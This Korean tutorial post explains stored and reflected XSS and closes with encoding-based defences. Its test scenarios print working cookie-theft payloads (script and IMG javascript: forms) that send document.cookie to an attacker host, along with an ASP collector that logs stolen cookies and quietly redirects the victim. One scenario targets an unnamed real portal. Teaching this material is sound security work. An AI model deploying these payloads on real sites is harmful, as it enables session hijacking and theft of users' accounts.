Cross Site Scripting(XSS) concept
XSS Test
시나리오 #1
시나리오 #2
XSS 대응방안
Reference
Cross Site Scripting(XSS) concept
Cross Site Scripting은 사용자에게 공격 목적의 악의적인 웹 컨텐츠를 보내는 공격 방법이다. 공격자가 사용자에게 보내는 악의적인 웹 컨텐츠는 URL에 포함된 스크립트 코드이거나 보안에 취약한 웹 사이트의 폼 필드에 입력된 스크립트 코드가 될 수 있다.
일반적으로 HTML 코드에 의해 미리 정의된 위치에 평범한 텍스트 형태로 브라우저 상에 표현되지만 HTML은 그런 평범한 텍스트뿐만 아니라 다른 다양한 컨텐츠를 표현하고 Client Side Script Code 를 포함할 수 있다.
Client측 Script는 Sendbox 로 알려진 제한된 환경에서 동작하기 때문에 대부분의 경우 local에는 악영향을 미치지 않는다.
Cross Site Scripting 공격이 의미하는 바는 정확히 어느 한 사용자가 입력한 스크립트 코드를 다른 사용자의 컴퓨터에서 실행시키는 것 이다. 즉 XSS의 가장 큰 특징인 Server가 아닌 Client를 공격하는 것 이다.
Sendbox 덕분에 사용자는 심각한 침해로부터 보호 받을 수 있지만 Client Script Code는 코드에 명시된 파일이나 로컬 리소스에 접근해서 자신의 정해진 동작을 수행할 수 있어야 한다. 바로 이 점이 위험을 내포하고 있는 것이다 실행되는 스크립트 코드는 현재의 웹 페이지에 포함된 모든 정보에 접근할 수 있으며 악의적인 의도를 가진 공격자가 XSS를 이용해서 사용자의 쿠키를 훔쳐 낼 수 있고 마치 그 사용자인 것처럼 행세할 수도 있으며 다른 악의적인 사이트로 사용자를 이동시키거나 교묘히 웹 페이지 내용을 조작해서 사용자가 개인 정보를 입력하게 할 수도 있음을 의미한다.
| <script>document.images[29].src="http://img0.gmodules.com/ig/f/oKstlUEg20s/intl/ALL_kr/logo.gif"</script> |
본 문서에서는 Session 과 Cookie를 따로 설명 하지는 않고 Cookie Stealing 에서 자세히 다루겠다.
우선 첫 번째로는 저장(Stored)XSS 에 대해 살펴보겠다. 저장XSS는 공격자가 XSS 보안 취약점 공격을 위해 가장 많이 살펴보는 곳이 같은 사이트를 방문하는 다른 사용자들에게 보이는 데이터를 입력하는 부분이다. 즉 메시지입력 부분, 방명록, 댓글, 등을 남기기 위해 사용자가 입력하는 부분이다. 공격자는 이러한 FORM필드 부분에 악의적인 스크립트를 저장하고 후에 어떤 사용자가 해당 사이트의 같은 곳을 방문하면 해당 스크립트가 웹 페이지에서 로드면서 코드가 실행되는 것이다.
두 번째로는 반사(Reflected)XSS 공격이며 반사()XSS 공격은 URL의 CGI 인자에 스크립트 코드를 삽입하는 것이다. 공격자가 이 메일을 이용해 어떤 웹 페이지 링크를 보내고 그 링크를 전달받은 사용자가 링크를 클릭하면 그 링크에 대한 웹 페이지가 로드 된다. 그 때 웹 페이지에 대한 링크 URL에 삽입된 스크립트 코드가 실행되면서 웹 페이지의 내용이 변경된다. 이 공격은 스크립트를 저장하기 위한 웹 사이트는 필요하지 않으며 사용자가 조작된 링크 주소를 클릭하면 링크에 대한 웹 페이지가 로드 되면서 그 스크립트 코드가 실행되기 때문이다.
공격 대상
사용자가 웹 사이트에 입력한 데이터를 해당 웹 사이트를 방문한 다른 사용자가 볼 수 있는 경우에 이 공격을 적용할 수 있다. XSS 공격에 취약한 부분이 발견 되었더라도 다른 사용자가 그 부분을 접하지 않으면 아무런 소용이 없다. 당연한 이야기 이지만 이유는 간단하다 XSS공격의 특징은 ServerSideScript 가 아니라 Client SideScript 이기 때문이다.
공격 수행 방법
HTML은 웹 페이지에 스크립트 코드를 삽입할 수 있는 여러 가지 메커니즘을 제공하며 그 중에서도 가장 명확한 것이 <script>…</script> 태그를 이용하는 것이다. 우선 공격할 FORM 필드에 <script>alert(“XSS Attack”)</script>를 이용하여 다음과 같이 메시지박스가 뜬다면 XSS 공격에 취약한 것으로 본다.
HTML 태그는 스크립트 삽입에 취약하다. 예를 들면 IMG 태그가 그런 경우라고 할 수 있다.
<img src=”path/image.gif>
위의 img 태그를 다음과 같이 수정할 수 있다.
<img src=javascript:alert(“XSS alert!”)>
HTML 태그 전반적인 문제들이 있으며 STYLE, SRC, HREF, TYPE 속성을 지원하는 태그들이 대부분 마찬가지이기 때문에 HTML 태그 자체를 필터링하는 것은 어려운 일이다.
하지만 공격자는 단지 메시지 창을 띄우는 것이 아니라 공격자는 세션 ID를 포함하는 중요 정보를 얻고자 하며 <script>alert(document.cookie)</script>를 이용하여 쿠키의 값을 보여줄 수 있는 메시지 박스를 띄우도록 한다.
하지만 이런 쿠키정보는 공격자 입장에서는 아무런 도움이 되지 못한다. 공격자에게 도움이 되려면 원격으로 이 쿠키정보를 획득 할 수 있어야 하며 획득 할 수 있는 방법도 여러 가지가 존재한다. 실제적인 공격방법은 시나리오를 통해서 알아 보도록 하겠다.
XSS 입력 과정/공격절차
1. 공격자가 XSS 취약점이 존재하는 서버에 악성 스크립트를 게시
2. 관리자 또는 사용자가 로그인을 실시하고 토큰(Cookie 또는 SessionID)생성
3. 공격자가 게시한 악성 스크립트를 보거나 클릭
4. 관리자 또는 사용자의 토큰이 공격자에게 전송
5. 공격자가 해당 토큰을 이용/다른 사용자의 권한을 가장 또는 소유
XSS를 유발시킬 수 있는 대표적인 코드이다.
| Cross Site Scripting 의 효과 시스템의 특정명령을 실행 / SessionID & Cookie Stealing XSS의 Filtering 우회 방법들은 http://ha.ckers.org/xss.html 참조하기 바란다. |
XSS Test
시나리오 #1
자신의 웹 서버에 희생자 Cookie 남기기
가장 일반적이며 보편적인 공격방법이다.
공격자는 악성 스크립트를 XSS 취약점을 가지고 있는 게시판에 스크립트를 작성하여 공격자 사이트의 애플리케이션으로 이동시켜 Cookie값을 수집할 수 있다.
| <script>document.location='http://MyWeb/app?cookie='+document.cookie;</script> |
공격자의 웹 서버에는 다음과 같은 어플리케이션이 있어야 한다.
코드의 내용은 상당히 간단하다 request객체로 Cookie을 인자로 하여 그 값을 파일에 쓰고 희생자가 눈치채지 못하게 다시 그 게시판으로 redirect 한다.
| <% cookie=request("cookie") '쿠키값 받기 Set fs = Server.CreateObject("Scripting.FileSystemObject") if fs.fileexists("c:\xss\xss.txt") then else fs.createtextfile ("c:\xss\xss.txt"), true end if Set objFile = fs.OpenTextFile("C:\xss\XSS.txt",8) '파일쓰기 objFile.writeLine("--------------------------------------------------------------") objFile.writeLine(cookie) objFile.close response.redirect("http://Server/demoshop/shop_board/shop_board_list.asp") %> |
C:\xss\xss.txt 파일이 생기고 Cookie값이 등록이 된다.
C:\xss\xss.txt 파일을 확인하면 다음과 같은 결과가 발생한다.
| oyesorder=oyes_order=254302281; csig_oyesorder=YFqkdA657NYwJoHrca5I1w; ASPSESSIONIDCQRTDADQ=JEIFICPADIOAHHFHIHNLLHFC; csig_ASPSESSIONIDCQRTDADQ=J3D5r50hpkiOT7XdpZ9LJQ |
쿠키 값을 얻었고 쿠키 값 안에 세션검증이 이루어 지지 않았다면 희생자 계정으로 로그인 할 수 있으며 로그인 이 가능하다는 이야기는 사용자의 정보를 전부 획득 할 수 있다는 결과를 가져온다.
시나리오 #2
OO 포털 XSS 테스트
OO 포털 XSS 가능한 부분과 XSS를 할 수 있는 다양한 방법을 생각해보고 시나리오#1 같은 방식으로 진행을 하겠다. 하지만 게시판에 <script> 태그의 방어정책이 수립 되어 있음을 먼저 생각해야 한다.
첫 번째 방법으로 단지 <script>태그만 막혀있으므로 HTML코드에 <script>태그를 삽입하여 공격하는 방식이며 두 번째 방법은 첨부파일을 통한 공격방법이다. 두 번째 공격은 독자 스스로가 실습을 해보도록 한다.
HTML 태그 중 IMG 라는 이미지 삽입 태그를 써서 공격을 하였다.
| <IMG SRC=javascript:document.location='http://MyWeb/Getcookie.asp?cookie='+document.cookie;> |
희생자가 메일을 읽으면 다음과 같은 화면이 나타날 것이고 이 화면을 본 순간 희생자의 쿠키 값은 공격자의 웹 서버에 남게 된다.
공격자의 C:\xss\xss.txt 파일에는 쿠키 값이 남게 된다.
공격자는 훔친 쿠키로 로그인 해서 희생자의 개인정보를 알아낼 수 있다.
XSS 대응방안
기술적인 XSS 방어방법을 설명하기 이전에 어떤 것을 어떻게 해야 하는지부터 설명을 하겠다.
스크립트 코드를 실행하기 위한 대표적인 코드는 <script>…</script> 태그가 있다. 하지만 이 태그 이외에도 HTML, 자바스크립트, VB스크립트, 액티브X, FLASH 등과 같이 다양한 스크립트 언어나 삽입기술이 XSS 공격에 이용될 수 있다.
이렇게 때문에 허용되어서는 안 되는 데이터를 필터링 하는 방법보다는 허용 가능한 데이터만 필터링 하는 편이 낫다.
가장 확실하고 쉬운 방법은 데이터가 코드로 해석되는 것을 방지하는 것인데 즉 HTML에서 모든 코드는 < > 안에 존재한다. 생각해보면 모든 각 괄호를 해당 인코딩 값으로 교체하면 데이터가 코드로 잘못 인식되는 경우는 발생하지 않는다라는 이야기가 된다.
필자가 생각해본 방어방법 중 하나는 HTML 삽입 부분을 없애는 것이다. 그렇다면 서비스 측면에측 볼 때 상당히 성능이 떨어진다고 생각하지만 HTML 툴을 쓰는 것이 가장 효율적이지 않나 하는 생각을 한다. 물론 이미지삽입 공격이나 첨부파일형식의 공격은 못 막겠지만 말이다. 평소 생각하고 있었던 것을 이 문서를 통해 말하는 바이다.
우선 XSS 공격이 되는 게시판에 테스트를 해보고 HTML 인코딩 을 적용시키는 예를 살펴보자
다음과 같이 스크립트가 적용되는 것을 볼 수 있다.
| contents = Server.HTMLEncode(Request("contents")) |
CONTENTS 부분을 HTML Encode 시킨다면 다음과 같이 <script> 태그가 적용이 안 될 것이다. 이 방법의 문제점은 CONTETS 부분에 HTML 태그 전부를 인코딩 하는 결과가 발생된다.
| content = ConvertTohtml(content) content = Replace(content,"'","''") content = replace(content ,"&","&") content = replace(content ,">",">") content = replace(content ,"<","<") |
Replace 구문을 쓰게 되면 해당 태그를 필터링 시킬 수 있다.
Reference
- 황순일,김광진.(2005) “웹 해킹 패턴과 대응” 사이텍미디어
- 마이크엔드류스/제임스A.휘태커.(2006) “How to Break Web Software : Funtional and Security Testing of Web Applications and Web Services” Pearson
댓글